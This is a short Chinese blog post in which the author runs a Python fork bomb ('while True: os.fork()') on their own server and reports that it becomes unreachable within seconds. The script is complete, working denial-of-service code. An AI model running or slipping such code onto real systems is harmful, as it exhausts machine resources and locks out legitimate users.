首页 > 其他分享 >著名的fork炸弹

著名的fork炸弹

时间:2023-07-20 10:46:47浏览次数:36  
标签:fork 登录 著名 炸弹 服务器 os

今天突发奇想,想试验下著名的fork炸弹是否真的可以将服务器资源耗尽崩溃,索性拿我个人服务器尝试下吧。

先上代码:

#!/usr/bin/env python
# encoding: utf-8

"""
@author: jc
@contact: Hurrican
@software: PyCharm
@file: fork炸弹--只能运行在Linux上
@create: 2023/7/20 10:26
"""
import os
while True:
    os.fork()

ok,将文件放入服务器,接着运行 python3 文件.py.

几秒后,我们敞开xshell 窗口再次登录,发现果然登录不上了。

 

 事实证明是可行的。

 

 

标签:fork,登录,著名,炸弹,服务器,os
From: https://www.cnblogs.com/wujf-myblog/p/17567677.html

相关文章

  • git同步fork仓库同步upstream仓库
    (目录)1.出现问题:[Howtoresolve"gitpull,fatal:unabletoaccess'https://github.com...':Emptyreplyfromserver"gitconfig--global--unsethttp.proxygitconfig--global--unsethttps.proxy2.Giterror:unabletocreatefilexxx:......
  • coc仓库--fork子进程
    fork子进程原函数voidforktest(int*i,pid_tparentid){tesseract::TessBaseAPI*chi_api=newtesseract::TessBaseAPI();if(chi_api->Init("/usr/share/tesseract-ocr/4.00/tessdata/","chi")){fprintf(stderr,"Cou......
  • Xv6 Lab6: Copy-on-Write Fork for xv6
    思路经过lab5:lazypageallocation之后,对xv6的pagefault的处理,算是有所了解了。今天这个COW实验,在2020年的课程视频中有对思路的讲解,可以先看看课程翻译,厘清一下思路。整体思路其实也不难,默认情况下,fokr会调用uvmcopy,将父进程的PP(物理页)复制一份,将这个PP的......
  • Fork&Copy-On-Write
    Fork&Copy-On-WriteFork的作用是复制一个与当前进程一样的进程。新进程的所有数据(变量、环境变量、程序计数器等)数值都和原进程一致,但是是一个全新的进程,并作为原进程的子进程在Linux程序中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于......
  • csapp二进制炸弹实验个人总结
    2023/7/13完成了这个实验,算是我的第一次逆向实战,对我来说很有挑战性。总结如下:1.对于汇编的熟练度,尤其是“层次”问题,mov0x8(%rsp),%rax和lea0x8(%rsp),%rax并不同;要注意某一个值本身是“地址”还是“数值”2.理解机器码工作原理后,拓宽思路,经验+寻找新的方法3.看待问题的视角......
  • JUC-ForkJoin
    1,ForkJoin简介ForkJoin是由JDK1.7之后提供的多线程并发处理框架。ForkJoin框架的基本思想是分而治之。什么是分而治之?分而治之就是将一个复杂的计算,按照设定的阈值分解成多个计算,然后将各个计算结果进行汇总。相应的,ForkJoin将复杂的计算当做一个任务,而分解的多个计算则是当做......
  • 一文看懂什么是fork/join
    什么是Fork/JoinFork/Join是JUC并发包下的一个并行处理框架,实现了ExecutorService接口的多线程处理器,它专为那些可以通过递归分解成更细小的任务而设计,最大化的利用多核处理器来提高应用程序的性能。Fork/Join的运行流程大致如下所示:需要注意的是,图里的次级子任务可以一直分......
  • postgresql中fork的含义
    pg_relation_size ( relation regclass [, fork text ])→ bigintComputesthediskspaceusedbyone “fork” ofthespecifiedrelation.(Notethatformostpurposesitismoreconvenienttousethehigher-levelfunctions pg_total_relation_size......
  • P5025 SNOI2017 炸弹
    P5025SNOI2017炸弹不难看出本题是可以转化为图论模型的:建立\(n\)个点代表\(n\)个炸弹,如果第\(i\)个炸弹能直接引爆第\(j\)个炸弹,就连边\(i\toj\)。这样的图论模型很好地刻画了原题中引爆的传递性,题意中第\(i\)个炸弹能直接/间接引爆第\(j\)个炸弹直接等价于......
  • pid=fork();getpid() 和getppid()
    #include<sys/types.h>#include<unistd.h>#include<stdio.h>/*getpid()和getppid()*/intmain(intargc,char**argv){inti,pid;for(i=0;i<2;i++){pid=fork();printf("fork_pid=%d,i=%d,getpid=%d,getppid=%d\n",pid,i,getp......